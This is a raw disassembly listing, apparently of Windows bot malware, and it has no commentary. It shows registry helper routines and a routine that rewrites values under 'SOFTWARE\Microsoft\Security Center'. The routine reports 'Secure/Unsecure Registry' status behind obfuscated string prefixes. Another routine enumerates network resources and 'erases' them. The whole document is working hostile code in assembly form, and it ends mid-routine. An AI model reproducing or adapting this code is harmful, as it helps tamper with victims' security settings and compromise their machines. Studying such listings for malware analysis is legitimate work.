jz short loc_41A414 dec eax jz short loc_41A40E dec eax jnz short loc_41A436 mov eax, offset aReg_binary ; "REG_BINARY" retn ; --------------------------------------------------------------------------- loc_41A40E: ; CODE XREF: sub_41A3EF+14j mov eax, offset aReg_expand_sz ; "REG_EXPAND_SZ" retn ; --------------------------------------------------------------------------- loc_41A414: ; CODE XREF: sub_41A3EF+11j mov eax, offset aReg_sz ; "REG_SZ" retn ; --------------------------------------------------------------------------- loc_41A41A: ; CODE XREF: sub_41A3EF+Ej mov eax, offset aReg_none ; "REG_NONE" retn ; --------------------------------------------------------------------------- loc_41A420: ; CODE XREF: sub_41A3EF+9j mov eax, offset aReg_dword ; "REG_DWORD" retn ; --------------------------------------------------------------------------- loc_41A426: ; CODE XREF: sub_41A3EF+7j sub eax, 5 jz short loc_41A44E dec eax jz short loc_41A448 dec eax jz short loc_41A442 sub eax, 4 jz short loc_41A43C loc_41A436: ; CODE XREF: sub_41A3EF+17j mov eax, offset aUnknown_0 ; "UNKNOWN" retn ; --------------------------------------------------------------------------- loc_41A43C: ; CODE XREF: sub_41A3EF+45j mov eax, offset aReg_qword ; "REG_QWORD" retn ; --------------------------------------------------------------------------- loc_41A442: ; CODE XREF: sub_41A3EF+40j mov eax, offset aReg_multi_sz ; "REG_MULTI_SZ" retn ; --------------------------------------------------------------------------- loc_41A448: ; CODE XREF: sub_41A3EF+3Dj mov eax, offset aReg_link ; "REG_LINK" retn ; --------------------------------------------------------------------------- loc_41A44E: ; CODE XREF: sub_41A3EF+3Aj mov eax, offset aReg_dword_big_ ; "REG_DWORD_BIG_ENDIAN" retn sub_41A3EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A454 proc near ; CODE XREF: sub_403B2C+4953p ; sub_412267+ADp ... var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch push ebx xor ebx, ebx cmp [ebp+arg_4], ebx push esi push edi mov [ebp+var_4], ebx jz loc_41A573 cmp [ebp+arg_8], ebx jnz loc_41A535 push [ebp+arg_4] push [ebp+arg_0] call dword_45428C ; RegDeleteKeyA test eax, eax jz loc_41A568 push 3Fh xor eax, eax pop ecx lea edi, [ebp+var_10B] mov [ebp+var_10C], bl xor esi, esi rep stosd stosw stosb lea eax, [ebp+var_4] mov [ebp+arg_8], 100h push eax push 2001Fh push ebx push [ebp+arg_4] push [ebp+arg_0] call dword_454384 ; RegOpenKeyExA test eax, eax jnz loc_41A573 lea eax, [ebp+var_C] push eax push ebx push ebx lea eax, [ebp+arg_8] push ebx push eax lea eax, [ebp+var_10C] push eax push ebx push [ebp+var_4] call dword_454264 ; RegEnumKeyExA mov edi, 103h jmp short loc_41A523 ; --------------------------------------------------------------------------- loc_41A4EB: ; CODE XREF: sub_41A454+D1j cmp eax, ebx jnz short loc_41A527 lea eax, [ebp+var_10C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41A454 add esp, 0Ch lea ecx, [ebp+var_C] mov eax, esi inc esi push ecx push ebx push ebx lea ecx, [ebp+arg_8] push ebx push ecx lea ecx, [ebp+var_10C] push ecx push eax push [ebp+var_4] call dword_454264 ; RegEnumKeyExA loc_41A523: ; CODE XREF: sub_41A454+95j cmp eax, edi jnz short loc_41A4EB loc_41A527: ; CODE XREF: sub_41A454+99j push [ebp+arg_4] push [ebp+var_4] call dword_45428C ; RegDeleteKeyA jmp short loc_41A573 ; --------------------------------------------------------------------------- loc_41A535: ; CODE XREF: sub_41A454+1Dj lea eax, [ebp+var_4] push eax push 2001Fh push ebx push [ebp+arg_4] push [ebp+arg_0] call dword_454384 ; RegOpenKeyExA test eax, eax jnz short loc_41A573 push [ebp+arg_8] push [ebp+var_4] call dword_454260 ; RegDeleteValueA push [ebp+var_4] test eax, eax jnz short loc_41A56D call dword_4542E8 ; RegCloseKey loc_41A568: ; CODE XREF: sub_41A454+31j xor eax, eax inc eax jmp short loc_41A575 ; --------------------------------------------------------------------------- loc_41A56D: ; CODE XREF: sub_41A454+10Cj call dword_4542E8 ; RegCloseKey loc_41A573: ; CODE XREF: sub_41A454+14j ; sub_41A454+6Ej ... xor eax, eax loc_41A575: ; CODE XREF: sub_41A454+117j pop edi pop esi pop ebx leave retn sub_41A454 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A57A proc near ; CODE XREF: sub_41FB50+F3p ; sub_41FB50+108p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push esi push edi mov edi, [ebp+arg_4] xor esi, esi cmp edi, esi mov [ebp+var_4], esi jz short loc_41A608 cmp [ebp+arg_8], esi jz short loc_41A608 lea eax, [ebp+var_4] push eax push 2001Fh push esi push edi push [ebp+arg_0] call dword_454384 ; RegOpenKeyExA test eax, eax jnz short loc_41A604 mov eax, [ebp+arg_C] cmp eax, 4 jnz short loc_41A5D3 lea eax, [ebp+arg_4] mov [ebp+arg_4], esi push eax push [ebp+arg_8] push edi push [ebp+arg_0] call sub_41A60E add esp, 10h xor eax, eax cmp [ebp+arg_4], esi setnz al mov esi, eax jmp short loc_41A5FB ; --------------------------------------------------------------------------- loc_41A5D3: ; CODE XREF: sub_41A57A+35j cmp eax, 1 jz short loc_41A5E2 cmp eax, 2 jz short loc_41A5E2 cmp eax, 7 jnz short loc_41A5FB loc_41A5E2: ; CODE XREF: sub_41A57A+5Cj ; sub_41A57A+61j push 1 push [ebp+arg_8] push edi push [ebp+arg_0] call sub_41A829 mov esi, eax add esp, 10h neg esi sbb esi, esi neg esi loc_41A5FB: ; CODE XREF: sub_41A57A+57j ; sub_41A57A+66j push [ebp+var_4] call dword_4542E8 ; RegCloseKey loc_41A604: ; CODE XREF: sub_41A57A+2Dj mov eax, esi jmp short loc_41A60A ; --------------------------------------------------------------------------- loc_41A608: ; CODE XREF: sub_41A57A+10j ; sub_41A57A+15j xor eax, eax loc_41A60A: ; CODE XREF: sub_41A57A+8Cj pop edi pop esi leave retn sub_41A57A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A60E proc near ; CODE XREF: sub_403B2C+4A2Dp ; sub_41A57A+45p var_224 = byte ptr -224h var_124 = byte ptr -124h var_A4 = byte ptr -0A4h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 224h push ebx lea eax, [ebp+var_8] push edi xor ebx, ebx push eax push 0F003Fh push ebx mov edi, 0FFh push [ebp+arg_4] mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_1C], edi push [ebp+arg_0] mov [ebp+var_14], 67h mov [ebp+var_20], 80h mov [ebp+var_4], ebx call dword_454384 ; RegOpenKeyExA test eax, eax jnz loc_41A7AD lea eax, [ebp+var_30] push esi push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_20] push ebx push eax lea eax, [ebp+var_124] push eax push [ebp+var_8] call dword_4542B4 ; RegQueryInfoKeyA cmp [ebp+var_C], ebx mov [ebp+arg_0], ebx jz short loc_41A6ED xor esi, esi cmp [ebp+var_C], ebx jbe short loc_41A6ED loc_41A69D: ; CODE XREF: sub_41A60E+DDj lea eax, [ebp+var_30] mov [ebp+var_1C], edi push eax push ebx push ebx lea eax, [ebp+var_1C] push ebx push eax lea eax, [ebp+var_224] push eax push esi push [ebp+var_8] call dword_454264 ; RegEnumKeyExA test eax, eax jnz short loc_41A6E4 lea eax, [ebp+var_224] push eax lea eax, [esi+1] push [ebp+arg_4] push eax push offset a_2dSS ; "(%.2d) %s\\%s" push [ebp+arg_8] push [ebp+arg_C] call sub_4104F6 add esp, 18h inc [ebp+var_4] loc_41A6E4: ; CODE XREF: sub_41A60E+B0j inc esi inc [ebp+arg_0] cmp esi, [ebp+var_C] jb short loc_41A69D loc_41A6ED: ; CODE XREF: sub_41A60E+86j ; sub_41A60E+8Dj cmp [ebp+var_10], ebx jz loc_41A799 xor edi, edi cmp [ebp+var_10], ebx jbe loc_41A799 mov eax, [ebp+arg_0] lea esi, [eax+1] loc_41A707: ; CODE XREF: sub_41A60E+185j push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_A4] push eax push edi push [ebp+var_8] mov [ebp+var_14], 0FFh mov [ebp+var_A4], bl call dword_45420C ; RegEnumValueA test eax, eax jnz short loc_41A78E lea eax, [ebp+var_A4] push offset byte_44D6A4 push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_41A764 cmp [ebp+var_18], 1 jnz short loc_41A764 lea eax, [ebp+var_A4] push offset aDefault ; "(Default)" push eax call sub_422063 pop ecx pop ecx loc_41A764: ; CODE XREF: sub_41A60E+13Bj ; sub_41A60E+141j push [ebp+var_18] call sub_41A3EF push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_4] push esi push offset a_2dSSS ; "(%.2d) %s\\%s (%s)" push [ebp+arg_8] push [ebp+arg_C] call sub_4104F6 add esp, 20h inc [ebp+var_4] loc_41A78E: ; CODE XREF: sub_41A60E+124j inc edi inc esi cmp edi, [ebp+var_10] jb loc_41A707 loc_41A799: ; CODE XREF: sub_41A60E+E2j ; sub_41A60E+EDj push [ebp+var_8] call dword_4542E8 ; RegCloseKey xor eax, eax cmp [ebp+var_4], ebx pop esi setnle al jmp short loc_41A7AF ; --------------------------------------------------------------------------- loc_41A7AD: ; CODE XREF: sub_41A60E+44j xor eax, eax loc_41A7AF: ; CODE XREF: sub_41A60E+19Dj pop edi pop ebx leave retn sub_41A60E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A7B3 proc near ; CODE XREF: sub_403B2C+4B30p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push esi push 4 pop eax xor esi, esi mov [ebp+var_10], eax mov [ebp+var_C], eax lea eax, [ebp+var_4] mov [ebp+var_4], esi push eax push 0F003Fh push esi mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call dword_454384 ; RegOpenKeyExA test eax, eax jnz short loc_41A81F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi push [ebp+arg_8] push [ebp+var_4] call dword_4541F8 ; RegQueryValueExA push [ebp+var_4] test eax, eax jnz short loc_41A819 call dword_4542E8 ; RegCloseKey mov eax, [ebp+arg_C] mov dword ptr [eax], 1 mov eax, [ebp+var_8] jmp short loc_41A826 ; --------------------------------------------------------------------------- loc_41A819: ; CODE XREF: sub_41A7B3+50j call dword_4542E8 ; RegCloseKey loc_41A81F: ; CODE XREF: sub_41A7B3+30j mov eax, [ebp+arg_C] mov [eax], esi xor eax, eax loc_41A826: ; CODE XREF: sub_41A7B3+64j pop esi leave retn sub_41A7B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A829 proc near ; CODE XREF: sub_403B2C+4B90p ; sub_412267+59p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx mov eax, 0FFFFh push esi xor ebx, ebx push eax mov esi, offset dword_45C3E0 push ebx push esi mov [ebp+var_4], ebx mov [ebp+var_8], eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push [ebp+arg_4] push [ebp+arg_0] call dword_454384 ; RegOpenKeyExA test eax, eax jnz short loc_41A8CB lea eax, [ebp+var_8] push eax push esi push ebx push ebx push [ebp+arg_8] push [ebp+var_4] call dword_4541F8 ; RegQueryValueExA test eax, eax jnz short loc_41A8C2 cmp [ebp+arg_C], 7 jnz short loc_41A8B5 mov ecx, [ebp+var_8] mov byte ptr dword_45C3E0[ecx], bl loc_41A88D: ; CODE XREF: sub_41A829+72j cmp ecx, ebx jz short loc_41A89D dec ecx mov [ebp+var_8], ecx cmp byte ptr dword_45C3E0[ecx], bl jz short loc_41A88D loc_41A89D: ; CODE XREF: sub_41A829+66j xor edx, edx cmp ecx, ebx jbe short loc_41A8B5 loc_41A8A3: ; CODE XREF: sub_41A829+8Aj lea eax, dword_45C3E0[edx] cmp [eax], bl jnz short loc_41A8B0 mov byte ptr [eax], 0Ah loc_41A8B0: ; CODE XREF: sub_41A829+82j inc edx cmp edx, ecx jb short loc_41A8A3 loc_41A8B5: ; CODE XREF: sub_41A829+59j ; sub_41A829+78j push [ebp+var_4] call dword_4542E8 ; RegCloseKey mov eax, esi jmp short loc_41A8CD ; --------------------------------------------------------------------------- loc_41A8C2: ; CODE XREF: sub_41A829+53j push [ebp+var_4] call dword_4542E8 ; RegCloseKey loc_41A8CB: ; CODE XREF: sub_41A829+3Cj xor eax, eax loc_41A8CD: ; CODE XREF: sub_41A829+97j pop esi pop ebx leave retn sub_41A829 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8D1 proc near ; CODE XREF: sub_403B2C+4DFCp ; sub_412267+1EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push [ebp+var_4] mov eax, [ebp+arg_C] push eax push 4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41A939 add esp, 18h leave retn sub_41A8D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F2 proc near ; CODE XREF: sub_403B2C+4ED6p ; sub_4120E9+116p ... var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_10], 1 mov eax, [ebp+arg_C] jnz short loc_41A919 push eax push [ebp+var_8] push 1 loc_41A906: ; CODE XREF: sub_41A8F2+33j ; sub_41A8F2+41j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41A939 add esp, 18h leave retn ; --------------------------------------------------------------------------- loc_41A919: ; CODE XREF: sub_41A8F2+Cj cmp [ebp+arg_10], 2 jnz short loc_41A927 push eax push [ebp+var_8] push 2 jmp short loc_41A906 ; --------------------------------------------------------------------------- loc_41A927: ; CODE XREF: sub_41A8F2+2Bj cmp [ebp+arg_10], 7 jnz short loc_41A935 push eax push [ebp+var_8] push 7 jmp short loc_41A906 ; --------------------------------------------------------------------------- loc_41A935: ; CODE XREF: sub_41A8F2+39j xor eax, eax leave retn sub_41A8F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A939 proc near ; CODE XREF: sub_41A8D1+17p ; sub_41A8F2+1Dp var_10004 = byte ptr -10004h var_10003 = byte ptr -10003h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov eax, 10004h call sub_4220C0 push ebx xor ebx, ebx lea eax, [ebp+arg_4] push ebx push eax push ebx push 20006h push ebx push ebx push ebx push [ebp+arg_4] push [ebp+arg_0] call dword_4542BC ; RegCreateKeyExA test eax, eax jz short loc_41A96E xor eax, eax jmp loc_41AA3E ; --------------------------------------------------------------------------- loc_41A96E: ; CODE XREF: sub_41A939+2Cj push esi push edi mov edi, [ebp+arg_8] cmp edi, ebx jz loc_41AA2E mov eax, [ebp+arg_C] dec eax jz loc_41AA41 dec eax jz short loc_41A9F9 dec eax dec eax jz short loc_41A9E9 sub eax, 3 jnz loc_41AA31 push [ebp+arg_14] call sub_422120 pop ecx mov esi, eax push [ebp+arg_14] lea eax, [ebp+var_10004] push eax call dword_42F04C ; lstrcpyA xor ecx, ecx cmp esi, ebx mov [ebp+esi+var_10004], bl mov [ebp+esi+var_10003], bl jle short loc_41A9D9 loc_41A9C4: ; CODE XREF: sub_41A939+9Cj lea eax, [ebp+ecx+var_10004] cmp byte ptr [eax], 0Ah jnz short loc_41A9D2 mov [eax], bl loc_41A9D2: ; CODE XREF: sub_41A939+95j inc ecx cmp ecx, esi jl short loc_41A9C4 cmp esi, ebx loc_41A9D9: ; CODE XREF: sub_41A939+89j jz short loc_41A9DD inc esi inc esi loc_41A9DD: ; CODE XREF: sub_41A939:loc_41A9D9j lea eax, [ebp+var_10004] push esi push eax push 7 jmp short loc_41AA1F ; --------------------------------------------------------------------------- loc_41A9E9: ; CODE XREF: sub_41A939+51j mov eax, [ebp+arg_10] push 4 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push eax push 4 jmp short loc_41AA1F ; --------------------------------------------------------------------------- loc_41A9F9: ; CODE XREF: sub_41A939+4Dj push [ebp+arg_14] call sub_422120 pop ecx mov esi, eax push [ebp+arg_14] lea eax, [ebp+var_10004] push eax call dword_42F04C ; lstrcpyA inc esi lea eax, [ebp+var_10004] push esi push eax push 2 loc_41AA1F: ; CODE XREF: sub_41A939+AEj ; sub_41A939+BEj ... push ebx push edi push [ebp+arg_4] call dword_45433C ; RegSetValueExA test eax, eax jnz short loc_41AA31 loc_41AA2E: ; CODE XREF: sub_41A939+3Cj xor ebx, ebx inc ebx loc_41AA31: ; CODE XREF: sub_41A939+56j ; sub_41A939+F3j push [ebp+arg_4] call dword_4542E8 ; RegCloseKey pop edi mov eax, ebx pop esi loc_41AA3E: ; CODE XREF: sub_41A939+30j pop ebx leave retn ; --------------------------------------------------------------------------- loc_41AA41: ; CODE XREF: sub_41A939+46j push [ebp+arg_14] call sub_422120 pop ecx mov esi, eax push [ebp+arg_14] lea eax, [ebp+var_10004] push eax call dword_42F04C ; lstrcpyA inc esi lea eax, [ebp+var_10004] push esi push eax push 1 jmp short loc_41AA1F sub_41A939 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA69 proc near ; CODE XREF: sub_41B226+48p ; sub_41B226+B6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push ecx push ebx xor edx, edx push esi push edi mov [ebp+var_8], edx mov [ebp+var_4], edx xor esi, esi loc_41AA7B: ; CODE XREF: sub_41AA69+23Ej mov eax, dword_442AD4[esi] cmp eax, 4 jnz loc_41AB92 cmp [ebp+arg_0], edx jz short loc_41AA97 mov eax, dword_442AD8[esi] jmp short loc_41AA9D ; --------------------------------------------------------------------------- loc_41AA97: ; CODE XREF: sub_41AA69+24j mov eax, dword_442ADC[esi] loc_41AA9D: ; CODE XREF: sub_41AA69+2Cj lea edi, dword_4429D3[esi] lea ebx, aSoftwareMicr_5[esi] ; "SOFTWARE\\Microsoft\\Security Center" push eax push edi push ebx push dword_4428D0[esi] call sub_41A8D1 add esp, 10h test eax, eax jz short loc_41AB28 inc [ebp+var_8] cmp [ebp+arg_14], 0 jnz loc_41AC99 cmp [ebp+arg_10], 0 jz loc_41AC99 cmp [ebp+arg_C], 0 jnz loc_41AC99 cmp [ebp+arg_0], 0 jz short loc_41AAED mov ecx, dword_442AD8[esi] jmp short loc_41AAF3 ; --------------------------------------------------------------------------- loc_41AAED: ; CODE XREF: sub_41AA69+7Aj mov ecx, dword_442ADC[esi] loc_41AAF3: ; CODE XREF: sub_41AA69+82j cmp dword_4428D0[esi], 80000002h mov edx, offset aHklm ; "HKLM" jz short loc_41AB09 mov edx, offset aHkcu ; "HKCU" loc_41AB09: ; CODE XREF: sub_41AA69+99j cmp [ebp+arg_0], 0 mov eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." jnz short loc_41AB19 mov eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0" loc_41AB19: ; CODE XREF: sub_41AA69+A9j push ecx push edi push ebx push edx push eax push offset aSSetSSSToD_ ; "%s Set \"%s\\%s\\%s\" to \"%d\"." jmp loc_41AC8B ; --------------------------------------------------------------------------- loc_41AB28: ; CODE XREF: sub_41AA69+53j inc [ebp+var_4] cmp [ebp+arg_14], 0 jnz loc_41AC99 cmp [ebp+arg_10], 0 jz loc_41AC99 cmp [ebp+arg_C], 0 jnz loc_41AC99 cmp [ebp+arg_0], 0 jz short loc_41AB57 mov ecx, dword_442AD8[esi] jmp short loc_41AB5D ; --------------------------------------------------------------------------- loc_41AB57: ; CODE XREF: sub_41AA69+E4j mov ecx, dword_442ADC[esi] loc_41AB5D: ; CODE XREF: sub_41AA69+ECj cmp dword_4428D0[esi], 80000002h mov edx, offset aHklm ; "HKLM" jz short loc_41AB73 mov edx, offset aHkcu ; "HKCU" loc_41AB73: ; CODE XREF: sub_41AA69+103j cmp [ebp+arg_0], 0 mov eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." jnz short loc_41AB83 mov eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0" loc_41AB83: ; CODE XREF: sub_41AA69+113j push ecx push edi push ebx push edx push eax push offset aSFailedToSetSS ; "%s Failed to set \"%s\\%s\\%s\" to \"%d\"." jmp loc_41AC8B ; --------------------------------------------------------------------------- loc_41AB92: ; CODE XREF: sub_41AA69+1Bj cmp eax, 1 jnz loc_41AC9B inc [ebp+var_8] cmp [ebp+arg_0], edx lea eax, dword_442AE0[esi] jnz short loc_41ABAF lea eax, dword_442BDF[esi] loc_41ABAF: ; CODE XREF: sub_41AA69+13Ej lea edi, dword_4429D3[esi] push 1 lea ebx, aSoftwareMicr_5[esi] ; "SOFTWARE\\Microsoft\\Security Center" push eax push edi push ebx push dword_4428D0[esi] call sub_41A8F2 add esp, 14h test eax, eax jz short loc_41AC34 cmp [ebp+arg_14], 0 jnz loc_41AC99 cmp [ebp+arg_10], 0 jz loc_41AC99 cmp [ebp+arg_C], 0 jnz loc_41AC99 cmp [ebp+arg_0], 0 lea ecx, dword_442AE0[esi] jnz short loc_41AC02 lea ecx, dword_442BDF[esi] loc_41AC02: ; CODE XREF: sub_41AA69+191j cmp dword_4428D0[esi], 80000002h mov edx, offset aHklm ; "HKLM" jz short loc_41AC18 mov edx, offset aHkcu ; "HKCU" loc_41AC18: ; CODE XREF: sub_41AA69+1A8j cmp [ebp+arg_0], 0 mov eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." jnz short loc_41AC28 mov eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0" loc_41AC28: ; CODE XREF: sub_41AA69+1B8j push ecx push edi push ebx push edx push eax push offset aSSetSSSToS_ ; "%s Set \"%s\\%s\\%s\" to \"%s\"." jmp short loc_41AC8B ; --------------------------------------------------------------------------- loc_41AC34: ; CODE XREF: sub_41AA69+167j inc [ebp+var_4] cmp [ebp+arg_14], 0 jnz short loc_41AC99 cmp [ebp+arg_10], 0 jz short loc_41AC99 cmp [ebp+arg_C], 0 jnz short loc_41AC99 cmp [ebp+arg_0], 0 lea ecx, dword_442AE0[esi] jnz short loc_41AC5B lea ecx, dword_442BDF[esi] loc_41AC5B: ; CODE XREF: sub_41AA69+1EAj cmp dword_4428D0[esi], 80000002h mov edx, offset aHklm ; "HKLM" jz short loc_41AC71 mov edx, offset aHkcu ; "HKCU" loc_41AC71: ; CODE XREF: sub_41AA69+201j cmp [ebp+arg_0], 0 mov eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." jnz short loc_41AC81 mov eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0" loc_41AC81: ; CODE XREF: sub_41AA69+211j push ecx push edi push ebx push edx push eax push offset aSFailedToSet_0 ; "%s Failed to set \"%s\\%s\\%s\" to \"%s\"." loc_41AC8B: ; CODE XREF: sub_41AA69+BAj ; sub_41AA69+124j ... push [ebp+arg_8] push [ebp+arg_4] call sub_4104F6 add esp, 20h loc_41AC99: ; CODE XREF: sub_41AA69+5Cj ; sub_41AA69+66j ... xor edx, edx loc_41AC9B: ; CODE XREF: sub_41AA69+12Cj add esi, 410h cmp esi, 4920h jb loc_41AA7B cmp [ebp+var_8], edx pop edi pop esi pop ebx jnz short loc_41ACEC cmp [ebp+arg_10], edx jnz short locret_41AD2A cmp [ebp+arg_C], edx jnz short locret_41AD2A cmp [ebp+arg_14], edx jnz short locret_41AD2A cmp [ebp+arg_0], edx mov ecx, offset aSecured ; "Secured" jnz short loc_41ACE5 mov ecx, offset aUnsecure ; "Unsecure" mov eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0" loc_41ACD8: ; CODE XREF: sub_41AA69+281j push [ebp+var_4] push edx push ecx push eax push offset aSFailedToSRegi ; "%s Failed to %s Registry, (%.2d/%.2d)" jmp short loc_41AD1C ; --------------------------------------------------------------------------- loc_41ACE5: ; CODE XREF: sub_41AA69+263j mov eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." jmp short loc_41ACD8 ; --------------------------------------------------------------------------- loc_41ACEC: ; CODE XREF: sub_41AA69+24Aj cmp [ebp+arg_10], edx jnz short locret_41AD2A cmp [ebp+arg_C], edx jnz short locret_41AD2A cmp [ebp+arg_14], edx jnz short locret_41AD2A cmp [ebp+arg_0], edx mov ecx, offset aSecure ; "Secure" jnz short loc_41AD2C mov ecx, offset aUnsecure ; "Unsecure" mov eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0" loc_41AD0F: ; CODE XREF: sub_41AA69+2C8j push [ebp+var_4] push [ebp+var_8] push ecx push eax push offset aSRegistryS_2d_ ; "%s Registry %s, (%.2d/%.2d)" loc_41AD1C: ; CODE XREF: sub_41AA69+27Aj push [ebp+arg_8] push [ebp+arg_4] call sub_4104F6 add esp, 1Ch locret_41AD2A: ; CODE XREF: sub_41AA69+24Fj ; sub_41AA69+254j ... leave retn ; --------------------------------------------------------------------------- loc_41AD2C: ; CODE XREF: sub_41AA69+29Aj mov eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." jmp short loc_41AD0F sub_41AA69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD33 proc near ; CODE XREF: sub_41B226+53p ; sub_41B226+D6p var_2034 = byte ptr -2034h var_1034 = byte ptr -1034h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov eax, 2034h call sub_4220C0 push ebx xor ebx, ebx cmp [ebp+arg_0], ebx push esi push edi mov [ebp+var_4], ebx mov [ebp+var_8], ebx jz loc_41AF6E cmp [ebp+arg_14], ebx mov [ebp+arg_0], ebx mov [ebp+var_C], ebx mov [ebp+var_10], ebx jnz short loc_41AD85 cmp [ebp+arg_C], ebx jnz short loc_41AD85 push offset aErased ; "erased" push offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." lea eax, [ebp+var_1034] push offset dword_447780 push eax call sub_422063 add esp, 10h loc_41AD85: ; CODE XREF: sub_41AD33+2Dj ; sub_41AD33+32j ... lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push ebx call dword_454240 cmp eax, ebx mov [ebp+var_14], eax jz loc_41AE30 cmp eax, 0EAh jz short loc_41AE30 xor esi, esi loc_41ADB7: ; CODE XREF: sub_41AD33+F6j push ebx push off_4471F0[esi] push ebx call dword_4541CC test eax, eax jnz short loc_41AE20 cmp [ebp+arg_14], ebx jnz short loc_41AE1D cmp [ebp+arg_C], ebx jnz short loc_41AE1D cmp [ebp+arg_10], ebx jz short loc_41AE1D cmp [ebp+var_4], ebx jle short loc_41ADF0 lea eax, [ebp+var_1034] push offset dword_43EA04 push eax call sub_423270 pop ecx pop ecx loc_41ADF0: ; CODE XREF: sub_41AD33+A8j push off_4471F0[esi] lea eax, [ebp+var_2034] push offset off_44777C push eax call sub_422063 lea eax, [ebp+var_2034] push eax lea eax, [ebp+var_1034] push eax call sub_423270 add esp, 14h loc_41AE1D: ; CODE XREF: sub_41AD33+99j ; sub_41AD33+9Ej ... inc [ebp+var_4] loc_41AE20: ; CODE XREF: sub_41AD33+94j add esi, 8 cmp esi, 138h jb short loc_41ADB7 jmp loc_41AEC2 ; 